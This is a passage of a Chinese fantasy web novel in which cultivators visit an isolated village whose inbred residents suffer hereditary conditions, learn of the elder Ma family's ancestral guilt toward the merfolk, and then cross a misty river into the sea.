陈二娟“嗐”了一声,笑道:“不知道为什么啊,咱们村里也没个大夫……马老说黄家二口子是土地公转世的后代,所以才这么矮嘞。但好歹是手脚双全的,脑子也正常,还会说话,不打紧不打紧。” 石映心:“哦。” 曾换月:“啊??”不是你们是这么安慰侏儒症的!?? 接着往下走,又瞧见一户人家门口坐着三个人,一个年轻女人正在给一个老婆婆和壮年男人喂饭。陈二娟继续打招呼:“胡家媳妇,照顾你婆婆和你家男人吃饭那?” 胡家媳妇朝她扯了个很浅的笑,点了点头,目光在外人身上打量了一会就收了回去,瞧着很腼腆,居然一句也没多问,继续给二人喂饭。一碗青菜稀饭舀一勺给左边的男人,再舀一勺给右边的老婆婆。 男人和老婆婆神情是如出一辙的呆滞,饭漏出来也不知道擦。 陈二娟夸了一句“真是个孝顺媳妇”,又带着几人继续走。 到这个时候,五人就是再迟钝也发现了这海螺村的不对劲了。大伙走在陈二娟后头面面相觑着,似乎在找一个合适的问话切入口…… 石映心:“他们是傻子吗?” ……你怎么越问越直白了! 陈二娟“嗐”了一声,笑道:“不知道是不是啊,咱们村里也没个大夫……马老说胡家母子是太聪明了,大智若愚嘛!但好歹是手脚双全的,脑子也……有点正常,知道自己叫什么,还会说话,不打紧不打紧。” 石映心:“哦。” 曾换月:“啊???”他爹的这个马老到底是什么成分!?黑的也能说成白的,而且怎么还有人信啊? 这会就连明易也忍不住问:“陈大姐,这位马老究竟是谁?” 陈二娟道:“马老是我们海螺村最德高望重的老人家。” 曾换月挑眉:“他德高望重在何处?” “……”陈二娟沉默片刻,哈哈一笑,“不知道啊,自我有记性以来,村里人都这么叫他。” 五人默契地觉得这个马老很有问题。明易客气道:“既然如此,我们也该去拜访他老人家。” 陈二娟说不急不急,她家就在前头,等安顿好了再去吧。她们便先进了陈二娟的家中,不算宽敞的小院里有一个背对着她们坐着的小女孩,扎了两个小揪揪的脑袋摇摇晃晃的很可爱,手中抱着一个娃娃正在和它说话。 看她天真可爱的背影,大伙的脸上都泛起了笑容。 陈二娟亲切地叫了一声:“唯唯!” 唯唯转过头来,可爱的脸上笑意盈盈,一只眼睛笑成月牙儿,另一只眼睛没长。 大伙脸上的笑容都僵住了。 “娘~”唯唯跑过来抱住了陈二娟的腿,一只眼睛好奇地打量着外人,“娘,这些哥哥姐姐是谁呀?” 陈二娟摸摸她的头:“哥哥姐姐们都是外乡人,唯唯是第一次见吧?指不定这辈子也就见这一回呢。等会拜托他们给你讲外头的故事好不好?” 唯唯高兴地跳了跳:“好啊好啊!” 真是活泼可爱的小孩啊…… 大伙沉下来心来,告诉自己别大惊小怪的,不就是只长了一只眼睛嘛,这有什么的?好歹是手脚双全的,脑子也正常,知道自己叫什么,还会喊娘亲,不打紧不打紧。 石映心:“她为什么只……唔唔唔。” 曾换月捂住师姐的嘴巴,飞快道:“大娘,我师姐口渴了,您能不能给我们点水喝呀?” “哎呀瞧我这待客之道……”陈二娟往边上指了指,“你们先去这间屋里看看能不能住,我这就去倒水来。” “好,好……” 陈二娟一走,唯唯就蹦蹦跳跳地把侧屋的门推开,朝几人招呼道:“好哥哥、好姐姐,你们快进来呀!” 几人虽没有心思看屋子,但还是配合地进去听唯唯介绍了一通,这儿是吃饭的桌子,这儿是睡觉的床,这儿是能开的窗……不多久陈二娟就送水来了,招呼几人坐下喝水后,又要和唯唯一起给她们打扫床铺、收拾屋子。 泉芷拦住她:“不用了大娘,我们自己会收拾,住在这已经给您添很多麻烦了。” “不麻烦、不麻烦。”陈二娟笑呵呵道,“我们村多久没来新人了?我高兴得很呢!不止我高兴,我们全村人都高兴!” 唯唯挥着手中的布娃娃:“唯唯也高兴!” “陈大娘,”明易示意边上的空座,“要不您先坐下来,我们有些问题想问问您。” “哦……”陈二娟见她们神色都有些认真,便没拒绝,“好。” 又对女儿说:“唯唯,你先去屋里和小依玩好不好?” 唯唯嘟了嘟嘴,显然有些不愿意,不过还是很乖地点点头:“好。” 等唯唯走了,石映心有些奇怪:“小依也是你的女儿?” 陈二娟笑道:“小依是她手里的娃娃。” “哦。” 这下终于能坐下来好好说话了。先是泉芷迫不及待地问:“大娘,你们村里有没有什么禁书?就是……一些和毒有关的书。” “有毒的书?”陈二娟的眉头皱了皱,摇摇头道,“我们村里连书都没几本,教书的夫子只有一位,孩童开智的书都是你借我我借你的……总共那几本书全村人都知道,从没听过什么禁书。” 泉芷默了默。曾换月紧接着换了个问法:“哎呀,既然是禁书,那肯定是不能让大家知道的……大娘,你觉得你们村里谁最有可能藏禁书呢?” 陈二娟还真的认真地想了想:“最有可能的就是马老了。马老先生年轻的时候就是海螺村里唯一的夫子,他好像懂得比我们这些村民都多好多,有时候寻常的小病也是能给他看的;现在他老了,教书的就是他女儿……对了,方才你们见过的马三便是他的儿子。” 大家默默地记下这个关键人物。 “而且,”一直开朗大方的陈二娟这会居然压低了声音,做出不可告人的模样,大家纷纷仔细去听,“听说马老年轻时还有卜筮问神的本领!” 第60章 “真的假的?”顾梦真似很感兴趣地问,“可有什么案例?” 陈二娟拍了拍自己的肚子:“他能看出未出世的孩子有没有病!” 又点了点桌子,更小声地:“还能说出人的下一世投胎成谁家的孩子!” 嚯,这是哪来的阴间本事?难道这马老还翻看过生死簿?可他要是真这么厉害,怎么会被困在这里…… 几人面面相觑着,心里都有些复杂。还是石映心问了:“他这么厉害,为什么村里还有那么多不寻常的人?” 陈二娟把手一摊:“他说了别人也不一定信呀,总得真把孩子生下来才知道说得准不准是不是?至于投胎转世,那就更无从说起了,人一死什么都忘了,哪里还记得前世的我是谁?” 嘶,倒是这么个道理哦。 石映心点点头,又问:“你们村里人都有毛病吗?像你女儿一样?” 除了她大伙都是屏气凝神,多少是考虑陈大娘心情的。但令他们没想到的是,陈二娟很是习以为常地、甚至面上瞧不出任何的伤心难过,笑了声道:“是啊,大家多少都有些毛病,没毛病的在村里才少见嘞。像我女儿就是跟了她爹,天生的只有一只眼睛。” 说着说着又说到别人家去:“有些一出生就没有牙 齿,有些长了六根手指头,还有的是哑巴,有的是瞎子,有的脸像鱼一样…方才啊,你们在河边见到的那些村民,都是村里少数的没毛病人了,有毛病的多是在家中干活。不过大家都好好活着,不打紧不打紧。” 不打紧……才怪吧?? 曾换月都听傻了,这不就是一个交叉感染的遗传病村吗?就这么活了几百年下来,这村里人的基因不会早就变异了吧? 思及此,她感到一些头皮发麻,支支吾吾地问:“那个……陈大娘,你们知道……就是,为什么村民们会有这些毛病吗” “知道呀。”陈二娟还诧异她为啥觉得自己不知道呢,“龙生龙凤生凤,老鼠的儿子会打洞,有什么样的爹娘就会有什么样的孩子嘛。就像黄家两口子生的还是矮姑娘,胡家的傻老太婆生了个傻儿子,现在胡家媳妇怀孕了,不知道生下来傻不傻呢,嗐,多生几个,总能生到正常的。” 曾换月两眼发黑,简直无从解释。 明易也发现了其中的不对劲:“陈大娘,应该也有正常的父母生下来不正常的孩子的情况吧?” 陈二娟点头:“有啊有啊。” 明易:“但这对正常的父母有不正常的爹娘。” 陈二娟思酌:“诶,是哦?” 明易:“那这要怎么算?” 陈二娟迷糊:“不知道啊,但这些情况在我们海螺村都很正常。” 他们海螺村的正常就是不正常,大家现在都深刻明白了。顾梦真试探地问:“那你们村里有没有……额,就是从头到尾都很正常的人家?” “有啊。”陈二娟开朗一笑道,“就是马老马三他们一家,听说是他们家祖先下的铁令,只许和没病的人结亲生子……嗐,谁不想这样啊?不过几百年过去,我们村就这么多人,出得去进不来的,一代生一代下来,没毛病的人是越来越少……” 说到这,她又悄咪咪起来:“现在和马三处对象的那姑娘,她就有六根手指呢!遗传她娘的,他爹有绝症,好几年前就死了……据说他爹的爹也是得了这病死的,就不知这姑娘有没有这病呢。但她已是村中最正常的姑娘了。” 曾换月不解:“但还是有风险的啊,马三为什么还要成亲呢?” 陈二娟大惊:“他不结婚怎么传宗接代啊?大不了多生几个嘛,总能生到正常的娃。” 曾换月:…… 顾梦真瞪眼:“可是不正常的孩子长大之后也要生,这样不是没完没了了?你们村之后只会有越来越多的毛病人!” “本来是这样的,”陈二娟仿佛没感到顾梦真话中的恐惧,还笑了一声,“但这不是……你们来了吗?” 五人:啊? 一下子就明白了她话里的意思呢。 泉芷默了默道:“陈大娘,我们不过几日就会走了。” 陈二娟很乐观:“哎呀,能走的话再说吧,哈哈。不过大娘我还是要劝你们一句,河那边真是危险得很,有去无回呀!好死不如赖活着,来都来了,你们还是安心住下吧。” 石映心有些不解:“可若是没有人以命冒险,再过几百年、几千年,你们还是出不去。” “出不去就出不去吧。”陈二娟脸上的笑不像假的,“人的一生说长不长、说短不短,怎么过不是过?在哪过不是过?我上有老下有小,女儿健康活泼,嫁了个只有一只眼的男人,但他待我很好,我每天都很高兴啊。你要我离开家我还不乐意呢。” 五人也不是不能理解陈二娟的心情,可是这对吗? “这是两回事。”明易冷静道,“离开这里不代表你会和你家人分离;可不离开,不过几十年,你们全村都不会再有正常人。大娘,也许你早已习惯了这一切,难道你也能接受这些病症带来的生离死别吗?” 他说起这个,大娘脸上的笑容总算消失了。石映心原先怀疑她是不是得了爱笑的病,不然怎么说啥都笑嘻嘻的? “嗐,那倒也是。”她叹了口气道,“像我娘,还有我阿姐……都是因生病离世的。我身上暂无大碍,只是不知道唯唯……” “是啊是啊。”曾换月连忙应和道,“有许多病只有外头才能治,你们村里也没大夫……” 陈二娟忽然抬起头来,直勾勾地盯着她们:“你们真要去河的那边?” 她们说是,肯定要去的,马上就要去。 陈二娟于是站起来:“我带你们去找马老,他知道一些河那边的事,不过平时不愿意和我们村里人讲……总之先去问问他吧。” 泉芷:“好,现在就去?” “我去和唯唯说两句话,马上就来。” 她一走,几人都是狠狠地松了一口气,心上沉甸甸的,脑子里又很乱。抬眼看看彼此,似乎有很多话要吐槽,但张嘴就是一声叹气。 “这个禁地究竟是怎么回事?”顾梦真揉揉脑袋,两眼发直,“我觉得我脑子也有些不正常了。” 曾换月也很害怕啊:“不管如何,我么一定要在三日之内离开这里!就算没找到禁书……” 大伙使劲点头,当然是要走的。泉芷蹙眉道:“离开禁地的办法估计就在河那边……若是里头真有吃人的妖怪,就凭这些寻常百姓定是没办法的。可如果我们杀了妖怪,这些村民又该何去何从?” 石映心想了想:“带他们回到现实人间中?” 明易微微摇头:“在外面他们便是异类,不一定有在这里活得好。” “是啊是啊。”曾换月往门外瞅了眼,确定没人了才小声说,“一村子的病人,只有他们自己不觉得奇怪!” 石映心看向小师妹:“所以我们只要找到禁书就走,继续放任他们在禁地中不管就好?” 这……虽然有些这样的意思吧,但是话这么说出来就显得很冷漠无情。可情况复杂,时间紧迫,她们是泥菩萨过河自身难保,哪有功夫再替这些村民仔细地考虑呢? 大伙沉默下来。 泉芷小心地问:“映心,你可是觉得我太残忍了?居然弃这些可怜的村民不顾……” 石映心奇怪地看她:“我没有这么觉得。” “我师姐没有这个意思。”曾换月帮师姐代言,“她就是非黑即白的,又不太懂人情世故,说话直白了些。但只是想尽快知道事情如何、接下来要怎么做罢了。” 泉芷微微放松:“那就好……” 石映心点点头。于她而言这些村民怎么样不重要,是走是留和她有什么关系呢?她只是想完成自己的任务,但又要考虑师兄妹和泉芷的意见,如此平衡两方情况后得出一个行动方针,她依此去做变好了。 为什么大家看起来一副心情很复杂的模样呢? “不管如何。”明易站起来道,“先去会会这位马老。” 不过多久陈二娟便回来了,带着几人去马家。这会已是黄昏,村里人渐渐多了,一路走来就见昏暗之中时不时有几个聚集的深色人影凑在一起打量着他们,都是好奇外人的村民。 马家门口不知为何堵了一些人,吵吵嚷嚷的,陈二娟见状“哎呀”一声,一边喊着“怎么了怎么了”一边跑过去凑热闹;几人走近一看,瞧见几个眼熟的面孔:胡家媳妇和黄家两口子。 有个头发大白的老头扯着胡家媳妇的往后一拉,低头指着黄家两口子大声道:“我儿媳妇凭什么要给你们黄家生儿育女?!” 五人:??? 连忙快步走近去听,就见那黄家女人道:“什么凭什么,我们都是一村人、一家人,如今村里适龄的无病姑娘越来越少,你儿子又是个傻的,哪里知道红杏出墙是几个意思?帮我们黄家生个孩子怎么了!” 老头:“你!” “你什么你!”黄家女人咄咄逼人,忽然又指向人群中的一人道,“欸欸,那个小李,他自己也有媳妇,不也是和张家的哑巴姑娘生了个正常孩子?现在一家五口人过得好好的!” 这个时候那个小李说话了:“是啊胡叔,你家儿媳难得正常,就是为了整个村子着想,也该去帮帮黄大姐他们家……” 老头怒气腾腾地朝他一挥拳头,衣袖滑下来露出瘦弱的胳膊:“你闭嘴,不关你的事!” 末了又指黄家男人道:“我就问问你,你乐不乐意让你媳妇去给别人生孩子!”【】 60-70 第61章 黄家男人默了默,抬眼幽幽盯着他:“胡叔,你自己有个没病儿媳妇,兴许能生个没病的孙子,自然当宝贝守着,哪里懂我们这些人的苦衷?” 哎呦这话说得,真是说到一堆有病人的心坎上了,人群立刻“就是就是”起来,众说纷纭:“大伙都是一家人,帮人家生个孩子什么了”“生没病的孩子对咱们村也有好处啊”“以前也不是没这样过,胡老头你不要太自私了”…… 胡家媳妇始终垂眉低眼着缩在那,仿佛这事和她无关。 老头被起哄得越来越气,撸起袖子大喊道:“好啊,我看你们是欺我老无力!老子还怕了你们这两个矮冬瓜不成?敢抢我儿媳,看我不打死你们——” 说着就要扑下去摘两个矮冬瓜,边上人群慌张起来,吵吵嚷嚷地要去拦。陈二娟也早就掺和进去了,正在劝和呢:“哎呀算了算了,大家都不容易……” 旁观的五人:OO 也不是他们不想帮忙劝和,只是总觉得她们五个正常人掺和进去有些危险啊! 就在这群人闹得越来越热闹的时候,边上紧闭的大门忽然被打开了,出来一个粗壮的男人,正是马三,他一边拍手一边大喊道:“各位乡亲父老不要吵了,我爹来了!!” 此话一出,人群果然安静下来,纷纷看向门口。 五人也随之望去,就见马三身后走过来两个人,一个是三四十左右的女人,她扶着一个老态龙钟的、手上还拿着拐杖的老头正缓慢地走来。 她们从村民的招呼声中得知,这个老头就是马老,女人则是她的二女儿,叫马二婷。 二人并未走到门口,只在几步远外就停了下来。马老敲了敲拐杖,马二婷就朝门外的一干人道:“我爹已经知晓了你们两家的恩怨,他说不必再吵了,这事过两日便会解决。” 黄家女人问:“马老先生,这要怎么解决啊?” 马二婷道:“你不必多问,等着就是了。” “可这……” 马二婷脸色一肃:“两日都等不起?” 黄家女人力立刻说“等得起等得起”,拉着她丈夫就跑走了。胡家老头似乎还想说点什么,但他的儿媳妇拉了拉他,他便憋着一脸气闭紧了嘴巴。 热闹的戏落幕后,村民们也纷纷离场,走的时候瞥见外人,又凑在一起叽叽喳喳起来:“哎呀差点忘了,我们村里不是又来了几个新的正常人,难道马老的意思是?”“他们说是要走的,要去河的那边送死嘞”“说说而已啦,真去了就吓得屁滚尿流回来哈哈哈”…… 五人就当没听见。 人快散尽后,陈二娟便迎了上去,先和站在门口的马三打了招呼,又朝里头恭敬道:“马老先生,村里来的新人想见您。” 马老微微颔首,顿了顿道:“快让她们进来,我等得许久了。” 曾换月听见了,小声和师姐说:“我们也没来多久啊。” 石映心:“可能是人老了不耐等,毕竟快死了。” 曾换月:师姐,你…… 不管怎么说是进去了,马家比陈二娟家要宽敞亮堂许多,进正厅的时候明易往边上暗间一瞥,仿佛是书房的模样。 落座之后,马二婷客气地给几人倒了茶水,之后便走到马老后边站着。马三带着陈二娟不知道去了哪里。 气氛莫名有些沉默,五人:喝茶。 马老抬起眼打量着他们,人老到这个年龄,眼睛也就一咪咪大了,观察起人来有些费劲:“几位……皆是修仙人士吧?” 五人都顿了顿。石映心问:“你怎么知道?” 马老笑了笑:“我能感到你们身上的灵气……我知道,我苦苦等的就是你们。” 明易自然明白他的意思:“老人家,你想我们做什么?” 马老说:“你们只需做你们要做的事。” 他瞧着很配合,泉芷立刻说:“实不相瞒,我们在找一本禁书,陈大娘说您是村里最德高望重、懂得最多的人……您一定知道吧?” 马老看了她一眼,叹出一口很长的气:“我知道你们想找什么……只不过,那本禁书被带出海螺村之后就不见了。而你们要找的解毒之法……不在书中。” 泉芷迫切地站起来:“那在哪里?” 明易比她冷静许多:“老人家,你好似知道许多事?” 马老喝了口茶水,淡定道:“这是我们马家代代相传的秘密,传世百年,我原以为……这一世我等不到了。好在你们来了。至于解毒之法,确实是在河的那边,不过迷雾中危险重重,是妖是怪无人知晓,毕竟去的人都死了。” 石映心记得:“马三说有人侥幸回来了,看见了会吃人的妖怪。” 马老听闻叹了口气,他身后的马二婷开口道:“这是我弟弟编来骗村里人的,去河那边的是我们大哥,早就死不见尸了。后来为了让村民不再有侥幸之心,爹便令我们编造了这些谎言,好歹是保住村里人的性命。” 竟是如此。 “原来你也不知道河那边有什么。”石映心眉头一皱,“为何方才又说解毒之法在那里?” “不在那里又在哪里呢?”马老摇摇头,双目有些出神,“难道我不想找到它吗?它困住了海螺村……困住了所有村民……” 泉芷不解:“我要找的解毒之法和你们海螺村被困住的事有什么关系?” “有千丝万缕的关系。”马老看向她,苍老的脸上写满了无奈,“你觉得海螺村的人没有中毒吗?” 泉芷蓦然一怔。 曾换月在边上嘟囔:“什么中毒,明明是遗传病……” “总之,”马老拄着拐杖缓慢站起来,“希望你们能在秘境中找到解毒之法,届时海螺村的村民也能得到解脱……他们已经饱受折磨太久、太久了。” 顾梦真忍不住嘴角一抽:“真的吗,我看大家还挺……额,自得其乐?” 马老摇摇头,衰老的笑容很惨淡:“既然我们这些凡人无力改变这一切,就算是自欺欺人的快乐也好过痛苦……只要活着,人就会有希望……看,我如今人之将死,还是等到了你们。” 曾换月心想难怪他和村民说那些乱七八糟的什么土地公转世……真是一个愿骗一村愿信啊。 “好。”泉芷深呼一口气,似乎下定了什么决心,“不过我不会骗你,如果解毒之法是什么奇花异草、只能救一族人……我不会救你们。” “族人……”马老仿佛想到了什么,睁大眼望向她,“你、你是……鲛人?” “是又如何?” 马老的拐杖忽然抖了起来,他飞快地……走不过来,所以只是踉跄地迈了两步就摔倒在地上,马二婷着急地过来要扶他,却被他制止。他从摔倒的姿势变为跪着,对泉芷跪着:“我……我先祖对鲛人族有愧……让我代为请罪……” 众人都被他吓了一跳,只有泉芷抿着唇盯了他一会,转过身不再看他:“我也想到了,你定是和那个贱人有什么关系。不过你和我请罪是没用的,你不是他,我也不是先祖;不过肯定的是……先祖不会原谅你们,我也不会。” 马老的脸上落下两行泪来:“宗主……弟子真的知错了……真的知错了……” 泉芷眉心一跳,转头古怪地看着他。 马二婷连忙扶住她爹,叹了口气道:“爹,你又犯病了……” 明易:“他有什么病?” 马二婷道:“不知道……村里也没个大夫……爹这几年老了,越发神智不清,常常胡言乱语,逮着谁就叫宗主,说自己错了……” 说到这,她抬起头来看着泉芷,面容板正又苦涩:“泉姑娘,我们马家人从小就被教导要记得对鲛人族有愧、遇见鲛人要为先祖请罪的事……爹更是时常对我和弟弟念叨,告诉我们要代代相传……” “实不相瞒,我弟弟不日便要娶一位六指姑娘,这有违先祖之令,可爹害怕没有人记得请罪一事,等不到再见鲛人的一日,才松口让弟弟娶妻……爹怕是得了癔症,心中又记挂着此事,这才犯病……” 泉芷听了,蹙紧的眉头忽地一松,嗤笑一声道:“果然,是先祖把你们关在这里受罚的。” 马老这时又开始磕头:“宗主,弟子知错了!弟子知错了……请宗主原谅……弟子知错了……”到后边呜呜地开始哭泣起来,“弟子真的知错了……” 马二婷心疼她爹,也跟着跪起来泉芷磕了响头,哀声道:“泉姑娘,我知道您不是宗主,但您能不能……代为原谅我爹?他马上就要死了,我不想他夙愿未了、死不瞑目……” 师兄妹四人面面相觑,自觉闭上嘴巴。 “夙愿未了、死不瞑目?”泉芷把嘴角扯开,“呵,我们鲛人族每一人将死之时谁不是夙愿未了?谁不是死不瞑目?如今奇毒未解,我更不可能就这么轻易地原谅你们!” “可这些都是几百年前的事了!”马二婷说到这也哭了出来,“先祖的错为何要我们这些后人承担?我们被关在这里生不如死、逐渐麻木,甚至要与不寻常的村民生活生子、将自己也变得人不像人!泉姑娘……难道这些折磨还不够吗?海螺村全村的痛苦还不够吗?” 马老还在边上:“弟子知错了!弟子知错了……请宗主原谅……弟子知错了……” 吵死了,泉芷简直听不下去:“那我呢?我有什么错?我凭什么一出生就身带奇毒?我凭什么不生子就要死?我凭什么因为这破毒耗费我十几年的修为和努力?你们好歹是犯了错,我有什么错?” 她说到后边声嘶力竭:“难道我错在……投胎为鲛人?” 二人四只红眼睛对望着。 背景音:“宗主,弟子真的知错了……弟子知错了……请宗主原谅……弟子知错了……” 他猛地一磕头——人就倒了下去。 马二婷回过神来,眼泪都来不及擦:“爹?爹!马三?马三——” 马三在外头应了一声匆匆赶紧来,连忙和马二婷将马老扶了起来坐在扶手椅上,后者匆匆去屋里拿药。 屋里五人默然地看着这一切,明易瞥过眼开口道:“走吧。” 留在这也不知道干啥,那就走吧,刚走到院门口,就听见身后传来两道此起彼伏的凄厉呼喊声:“爹!爹!爹你怎么……” “他死了。”石映心说。 她们看向泉芷,泉芷只是出神地盯着地面,平静地问:“我们什么时候去河那边?” 明易道:“天色已晚,明早去吧。” “……好。” 第62章 她们回到陈二娟家中,一进屋就看见她们一家三口正在吃饭。 唯唯手上还拿着筷子就跳了下来,跑过来兴奋道:“哥哥姐姐,你们总算回来了!” 曾换月摸摸她的脑袋:“是呀唯唯。” 桌上那个单眼男人也站了起来,笑着和她们问好:“几位便是村里新来的人?这几日住在这就当是在自己家里,不要客气。” 陈二娟招呼道:“哎呀,我们等你们一起吃饭呢,不过唯唯还在长个子,就让她先吃了。来来来,过来一起吃啊!” 屋里的桌子很小,顶多坐四五个人,陈二娟和她男人已经打算站起来让位置了。顾梦真连忙道:“不用不用,其实我们已经在马老家吃过了。大娘你们吃吧,我现在肚子还涨着呢。” 曾换月说是啊是啊可饱了。 陈二娟自然不会怀疑她们的说法,闻言便点点头,喊唯唯回来继续吃饭,又喜气洋洋道:“对了,隔壁欣妹妹刚生了个孩子,要不吃完饭你们同我一起去瞧瞧?” 唯唯也快乐地跳起来:“小宝宝、小宝宝!” 有人死就有人生,这都是常态。大伙的心情都有些复杂,便婉言拒绝了。 几人进了侧屋把门关上,不意外地瞧见屋子已经被收拾得很干净了,卧房里的床榻也铺上了干净的床铺,桌子上还摆了一些瓜果。石映心拿起来尝了尝,是没吃过的果子,味道一般般。 大伙都有些感慨,曾换月道:“陈大娘真是个好人。” 石映心吃着果子点点头:“嗯。” 明易说:“好好休息吧,明日还要早起。” “好。” 石映心三人进了侧屋,床榻不大,睡三人实在勉强,泉芷便说自己在外屋休息就好了。见她要走,石映心拉住她说:“没事,我们有办法。” 说着拿出星月葫芦来,介绍了用法。 泉芷打量着葫芦有些稀奇,不过依旧拒绝道:“这是个好东西,不过我还是想待在外面……” 曾换月:“葫芦里很干净舒服的。” 泉芷朝她笑了笑:“是,不过我想我是睡不着的。” 她都这么说了,师姐妹二人对视一眼,没再勉强她。 二人睡在床上,曾换月翻来覆去了一会,直起身来挠挠头:“怎么总觉得枕头有些膈人?” 说着把枕头拿起来一看,发现了一个单眼的布娃娃:“这不是唯唯的娃娃?” 石映心道:“可能是和她娘给我们铺床的时候落下的。” “是哦。”曾换月便下了床道,“我拿去还给她。” 她小心打开房门后往外探头看了看,转身道:“师姐,泉芷不见了。” 这么晚了,她会去哪呢?海螺村里也没什么她认识的人啊。石映心想了想:“你去找唯唯,我去找泉芷。” “好。” 石映心来到她们刚来时的河边,果然瞧见泉芷正坐在岸边发呆。下坡时的动静惊扰了她,泉芷回过头一看,惊讶道:“映心,你怎么来了?” 石映心走过去问:“我来找你,你在这做什么?” “……也没做什么,就是吹吹风。” “那你何时回去?” “也许等会吧。” 石映心见她神情有些落寞,眉头不自觉紧蹙着,心想她大概是忧心奇毒的事,便宽慰她:“你很紧张吗?放心,有我们在,一定能帮你找到解毒之法。” 泉芷忍不住苦笑一声:“映心,你为何这么确信呢?解毒之法……连宗主他们都没办法。” 石映心实话实说:“其实我也不知道,不过安慰人的话就是这么说的。” 泉芷:…… “唉,”她叹了口气道,“也不全是这件事。只是今日看了海螺村这么多村民的惨状,又遇见了马老 他们……才知道原来他们一直被关在这里受罚。我们族人一直很恨他,但没想过会让其他人受累。” “这是你们先祖的意思。”石映心说,“和你无关,你不用多想。” 泉芷点点头,又摇了摇头道:“是和我无关,但是……但是,我知道他们有多苦,也许比我们还苦……” 石映心回想了一下今日见过的那些村民,语气有些古怪:“我倒觉得还好。” “怎么会呢?” “每个人都有自己的快乐和痛苦。”石映心说,“陈大娘是真的快乐,唯唯也是真的快乐,我看得出来。” “其他村民……” 石映心摇摇头:“其他村民的苦恼和你也不一样。胡家的老头只是生气别人要抢他儿媳妇,黄家两口子只是生气胡家老头不把儿媳妇给他们。他们想要生正常的孩子,但就是知道大概率会生下毛病孩子还会生,我想这对他们来说不是痛苦。” 泉芷叹了口气道:“这是因为他们被关在这里太久,思想和外边的人已经不一样了。他们……太愚昧了,这是不对的。” “所以这是一个选择问题吗?”石映心总结道,“清醒的痛苦……和愚昧的快乐?” 泉芷看向她:“映心,你选什么呢?” 石映心琢磨了一下:“我不清楚,我只知道换月她们快乐我就快乐,她们伤心我就伤心;我还知道我见过的人都无法对此做出抉择,所有人都是摇摆的,一会清醒一会愚昧。你也是,泉芷。” 泉芷怔然又认真地看着她,忽然说:“映心,你是我见过……最与众不同的人。” 石映心反应了一会,忍不住皱了下眉:“那些矮子、傻子、单眼人,竟然还没有我与众不同吗?” 泉芷听得一愣,失笑道:“我不是这意思。我是说……我一见到你,就觉得你很特别……先前师兄和我说,若是喜、觉得一个人很特别,就会很想和她双修……我从没有体会过这样的感觉,直到遇见了你……” 说着说着,她看着石映心的双眼越发深邃起来。 石映心和她对望着,觉得她这样的眼神有几分熟悉,更多的是陌生:“虽然你们合欢宗可以同性双修,不过我并不会你们的双修之法。” 她这个回答让泉芷有些摸不着头脑,但她确实不会来着:“嗯……我也不是要和你双修的意思……虽然我确实想。” 石映心又说:“可我有什么特别之处呢?” 泉芷默了默:“这……我也说不上来。” 石映心心说你说不上来没关系,我可以照照你,于是对着她眨了下眼睛——这是什么感觉呢?就像冰天雪地里摆着一堆木材,得烧一烧……烤鸭边上放着白糖,得蘸一蘸;西红柿边上放着鸡蛋,得炒一炒;排骨边上放着玉米,得煮一煮…… 石映心也想吃……不是,石映心也觉得双修似乎很好玩。 她咽了下口水说:“好,我和你双修。” “啊?”泉芷猛然一愣,眼睛都瞪大了许多,“你、你说真的?” “真的。” “可你不会我们合欢宗的双修之法……” “我有办法,不过你不能多问。” “……” 她确实也多问不了,光是这么轻易地得到了答应就让泉芷晕晕乎乎起来,脑子里那些复杂的思绪一下子都被抛到脑后去了。石映心问她什么时候回去,她说现在就回去。 石映心回到屋里,师妹从床上坐起来道:“师姐,你怎么回来得这么迟?” “和泉芷说了会话。” “好吧。”曾换月打了个哈欠,“我刚刚给唯唯讲了一些外面的事,她真是一个好孩子,除了只长了一只眼睛,其余和正常人没什么不同,性格也活泼可爱。” 石映心点点头,在床上躺下。 师妹在边上嘟嘟囔囔:“明天就要去河那边了,其实我不是很怕的……但那些村民大惊小怪的模样弄得我有些心慌,师姐……” 石映心正想说“没事”,转头一看,曾换月已经睡着了。 那她也睡吧。 第二日。 天还蒙蒙亮的时候大伙就起了,这时候院子里已经传来了动静。明易打开门一看,是陈二娟的单眼男人要出去干活,二人简单打了个招呼,男人说他蒸了几个馒头,让他们到时候自己拿去吃,说完便拿着工具走了。 她们没有拿馒头吃,趁着陈二娟和唯唯还没起来,悄无声息地离开了陈家。 一路往河边走,放眼望去雾蓝色的天罩住了整个海螺村,仿佛又像在海中;时不时哪里传来几声鸟鸣,带着清晨的透凉叫进人心里去。 偶尔遇见早起的村民在院子里洗漱,有些人还和她们打了招呼。 来到河边,清晨的迷雾几乎将河那边的景色完全遮蔽了,一丝一毫也瞧不见;几人简单商量了事宜,不多犹豫便御物飞去。 进了雾中便是伸手不见五指,好在几人已经有了预料、做了准备,用顾梦真的连连绳将彼此连接在一起,就不怕分散;虽说雾中瞧不见人,但还好能听见彼此的声音。 曾换月:“师姐!!师兄!!” 石映心扯扯绳子:“我在这。” 顾梦真:“我们往哪走啊?这什么也瞧不见啊!” 明易:“梦真,用你的辟邪灯试试。” 顾梦真:“等等啊我得找找……” 泉芷:“我嗅到了大海的味道。” 曾换月:“大海?我们不是在河面上的雾里吗……这里到底是哪里?师姐!!” 石映心:“我在这。” 顾梦真:“辟邪灯找到了!这可是我新炼制的加强版——” 下一刻,几人瞧见雾中冒出一点橘黄色漂浮着,她们下意识要往那光亮靠去,但灯光就像火烧着了纸张,忽地腾飞起来,将迷雾悉数吞噬,几人差点被闪瞎眼,连忙把眼皮合上。 咕噜噜…… 石映心睁开眼睛,这下是瞧清了,不过为什么她突然出现在了海里?换月她们呢?她左右看了看,四周一望无际,但除了海水就是海水,有成片的光束从上头落下来,石映心打算先去水面上看看,于是扑腾着要游——咦,怎么腿张不开了? 她低头一看,哪还有腿,只剩下一条鱼尾巴。 石映心:OO? 第63章 她顿了顿,深呼一口气,海水吸进来后居然一点也不呛,张开嘴巴后说啊啊了两声,竟然还能说话。她变成鱼了欸…… 不知道怎么回事,但是就先这样吧,去岸上看看。 鱼尾巴仿佛是她天生的一般,游起来格外舒心,穿梭在水里毫无阻碍,她感觉自己也变成了水,她和大海融为了一体;石映心好玩地兜了两圈,幸好脑子里还记得正事,迎着光束往上游去。 出了海面,就瞧见一片金黄的海滩,她往岸边游去,岸上什么人都没有,但不远处似乎有人家,也许换月她们在那里? 上岸的时候她以为自己会像泉芷那样,眨眼之间尾巴就会变成人腿,但事实是她在岸上扑腾了一会,尾巴上都沾了沙粒,依旧还是鱼尾。石映心异想天开地想用鱼尾站起来,但她只挺起来半个身子就摔了一嘴沙子。 什么意思啊?石映心眉心微蹙,心说难道要她跟蚯蚓似地扭过去? 